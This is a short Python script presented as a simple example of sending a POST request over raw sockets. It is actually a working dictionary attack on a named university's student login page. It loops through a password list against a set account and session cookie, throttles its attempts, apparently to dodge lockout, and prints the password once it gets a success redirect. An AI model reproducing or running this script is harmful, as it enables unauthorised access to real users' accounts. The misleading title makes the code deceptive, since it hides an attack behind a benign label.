Python socket实现post请求

# -*- coding: utf-8 -*-

import socket

import time

strPost = "POST /bgdadmin/servlet/studentLogin HTTP/1.1\r\n" \

          "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" \

          "Referer: http://yjsgl.bjut.edu.cn/bgdadmin/servlet/studentMain\r\n" \

          "Accept-Language: zh-cn\r\n" \

          "Content-Type: application/x-www-form-urlencoded\r\n" \

          "Accept-Encoding: gzip, deflate\r\n" \

          "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n" \

          "Host: yjsgl.bjut.edu.cn\r\n" \

          "Content-Length: 47\r\n" \

          "Connection: Keep-Alive\r\n" \

          "Cache-Control: no-cache\r\n" \

          "Cookie: JSESSIONID=DgxvXnRhLdSn65nfkyXv4wGXr8xQWb4Vmhkq7GfdhRz3LpdwJ4WC!-611812863\r\n\r\n" \

          "TYPE=AUTH&glnj=&USER=xxxxxxxxxx&PASSWORD="          

i = 0

target_host = '172.21.96.120'

target_port = 80

    

for password in open('superdic.txt'):

  

    i = i + 1

    if i > 100:

        time.sleep(30)

        i = 0

 

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  

    client.connect((target_host, target_port))

  

    strPacket = strPost + password          

  

    client.send(strPacket)

   

    response = client.recv(1024)

 

    time.sleep(0.3)

  

    if response.find('Location') != -1:

       

        print password

       

        break